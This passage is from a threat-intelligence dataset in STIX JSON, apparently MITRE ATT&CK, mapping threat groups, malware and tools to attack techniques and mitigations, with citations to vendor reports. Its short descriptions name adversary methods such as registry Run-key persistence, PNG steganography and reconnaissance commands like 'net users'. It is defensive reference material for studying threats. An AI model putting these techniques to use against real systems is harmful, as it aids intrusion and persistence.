+ "external_references": [ + { + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "source_name": "Unit 42 MuddyWater Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + }, + { + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "source_name": "FireEye MuddyWater Mar 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + }, + { + "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.", + "source_name": "Talos MuddyWater May 2019", + "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.030Z", + "id": "relationship--0727c98a-b7e0-45ba-a20e-632d394ef422", + "source_ref": "course-of-action--12c13879-b7bd-4bc5-8def-aacec386d432", + "modified": "2019-07-31T19:31:55.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects password policy information with the command net accounts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ddda59d4-5455-4d42-901b-b7a227a8a023", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) has a plugin for VNC and Ammyy Admin Tool.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7fa238de-37c5-4224-b760-bf9f00001051", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) is capable of obtaining directory, file, and drive listings.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b9fe8dd4-a3c9-4e58-9a74-937e4de677a8", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "modified": "2019-08-16T18:52:50.602Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Fidelis Turbo", + "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", + "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) transferred compressed and encrypted RAR files containing exfiltration through the established backdoor command and control channel during operations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.033Z", + "id": "relationship--49f2c182-bd69-4874-9102-b5fd1acac59c", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.473Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.030Z", + "id": "relationship--a65de154-e0dd-445f-9f26-8459a287c790", + "source_ref": "course-of-action--ff5d862a-ae6b-4833-8c15-e235d654d28e", + "modified": "2019-07-24T14:20:05.908Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has run whoami on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--b22cebe6-129a-41a2-8a9e-70c222c88af6", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.309Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + }, + { + "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig Oct 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has used tools to compress data before exfilling it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--b028b9a6-4031-4b56-8dd5-0bdd3c59dbec", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.565Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "aptsim", + "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.", + "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.022Z", + "id": "relationship--143c0761-981a-4668-ab8a-9ba74cb58869", + "source_ref": "course-of-action--43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5", + "modified": "2019-07-25T11:43:55.003Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62166220-e498-410f-a90a-19d4339d4e99", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--3e9d8f68-a9c6-4be7-9639-56b64d4f600a", + "source_ref": "course-of-action--33f76731-b840-446f-bee0-53687dad24d9", + "modified": "2019-07-24T19:39:01.464Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.032Z", + "id": "relationship--e4c7c4b7-fe19-4433-acd9-ec94f436f381", + "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", + "modified": "2019-03-22T19:55:13.767Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.020Z", + "id": "relationship--32ba984e-dbe9-4a8a-a1b7-16ba560d31d5", + "source_ref": "course-of-action--a766ce73-5583-48f3-b7c0-0bb43c6ef8c7", + "modified": "2019-07-25T12:01:13.276Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Invoke-PSImage](https://attack.mitre.org/software/S0231) can be used to embed a PowerShell script within the pixels of a PNG file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c09c2f08-3bda-4af7-9578-01fa1c7fba2c", + "source_ref": "tool--b52d6583-14a2-4ddc-8527-87fd2142558f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Adams, B. (2017, December 17). Invoke-PSImage. Retrieved April 10, 2018.", + "source_name": "GitHub Invoke-PSImage", + "url": "https://github.com/peewpw/Invoke-PSImage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.017Z", + "id": "relationship--ea46cbd0-7134-4ede-a117-47380ddd9b5c", + "source_ref": "course-of-action--28adf6fd-ab6c-4553-9aa7-cef18a191f33", + "modified": "2019-07-24T18:16:17.818Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "malware--c4de7d83-e875-4c88-8b5d-06c41e5b7e79", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--6b651165-e444-4272-a218-32e728558208", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.826Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Fin8 May 2016", + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0fe893d6-a52f-4828-a792-eeb6a3e4f979", + "source_ref": "course-of-action--12cba7de-0a22-4a56-b51e-c514c67c3b43", + "modified": "2019-07-24T19:36:24.298Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) uses a batch file that configures the ComSysApp service to autostart in order to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3ca5c9be-52c6-43ac-81f5-d7740d02e1d6", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.263Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) uses steganography to hide backdoors in PNG files, which are also encrypted using the Tiny Encryption Algorithm (TEA).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1c677f35-b73b-47bc-b162-1fd036a38def", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "modified": "2019-04-22T22:31:38.424Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--877a67b0-5dea-467c-9da1-8eee3bcc19a6", + "source_ref": "intrusion-set--025bdaa9-897d-4bad-afa6-013ba5734653", + "modified": "2019-03-25T14:31:40.994Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft NEODYMIUM Dec 2016", + "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.", + "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/" + }, + { + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "source_name": "Microsoft SIR Vol 21", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--27a1b804-f54c-4e9f-ad89-fd565a66c180", + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "modified": "2019-04-25T12:37:45.684Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[TA459](https://attack.mitre.org/groups/G0062) has used PowerShell for execution of a payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c08f55ca-366b-4554-879b-1b19042f9be8", + "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481", + "modified": "2019-03-25T17:00:47.383Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[POSHSPY](https://attack.mitre.org/software/S0150) appends a file signature header (randomly selected from six file types) to encrypted data prior to upload or download.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--70edcba2-e777-4ced-a52d-5dfc3965211c", + "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", + "modified": "2019-04-24T23:41:40.089Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "source_name": "FireEye POSHSPY April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of accounts with the command net users.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--11fef36d-e857-4e0e-93e0-f0361df83ced", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Privesc-PowerUp modules that can discover and exploit DLL hijacking opportunities in services and processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--9bdcaf47-0df8-44a5-ac10-3f0a806a36f3", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "modified": "2019-04-24T23:43:08.174Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) C2 traffic is base64-encoded.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--13c97dd2-5c0b-4f18-84ab-533949fbeb25", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.", + "source_name": "Unit 42 SeaDuke 2015", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a", + "description": "[Mimikatz](https://attack.mitre.org/software/S0002)\u2019s LSADUMP::DCShadow module can be used to make AD updates by temporarily setting a computer to be a DC.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--15fe2d8e-9a4e-433e-9dca-d7329e7ca846", + "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "modified": "2019-04-24T23:36:42.302Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.", + "source_name": "Deply Mimikatz", + "url": "https://github.com/gentilkiwi/mimikatz" + }, + { + "source_name": "Adsecurity Mimikatz Guide", + "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?page_id=1821" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Prikormka](https://attack.mitre.org/software/S0113) creates a directory, %USERPROFILE%\\AppData\\Local\\SKC\\, which is used to store collected log files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--df207207-01b2-456b-9dc4-7afd5ffeeb46", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "modified": "2019-07-26T20:45:14.458Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "description": "A [Gamaredon Group](https://attack.mitre.org/groups/G0047) file stealer has the capability to steal data from newly connected logical volumes on a system, including USB drives.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.080Z", + "id": "relationship--788e8246-d835-42c6-b8b4-7efad31e4a84", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "modified": "2019-03-25T12:57:18.657Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used Registry Run keys to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--0a507d28-ef6b-417b-a968-e82608e8b6a8", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.362Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[HIDEDRV](https://attack.mitre.org/software/S0135) injects a DLL for [Downdelph](https://attack.mitre.org/software/S0134) into the explorer.exe process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b97e696f-6386-4b15-8f24-81d0abe51830", + "source_ref": "malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 3", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "A dropper used by [Putter Panda](https://attack.mitre.org/groups/G0024) installs itself into the ASEP Registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run with a value named McUpdate.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.058Z", + "id": "relationship--55120727-0b7f-4d6a-a881-d17bdc9c85ba", + "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45", + "modified": "2019-03-25T16:53:38.815Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + 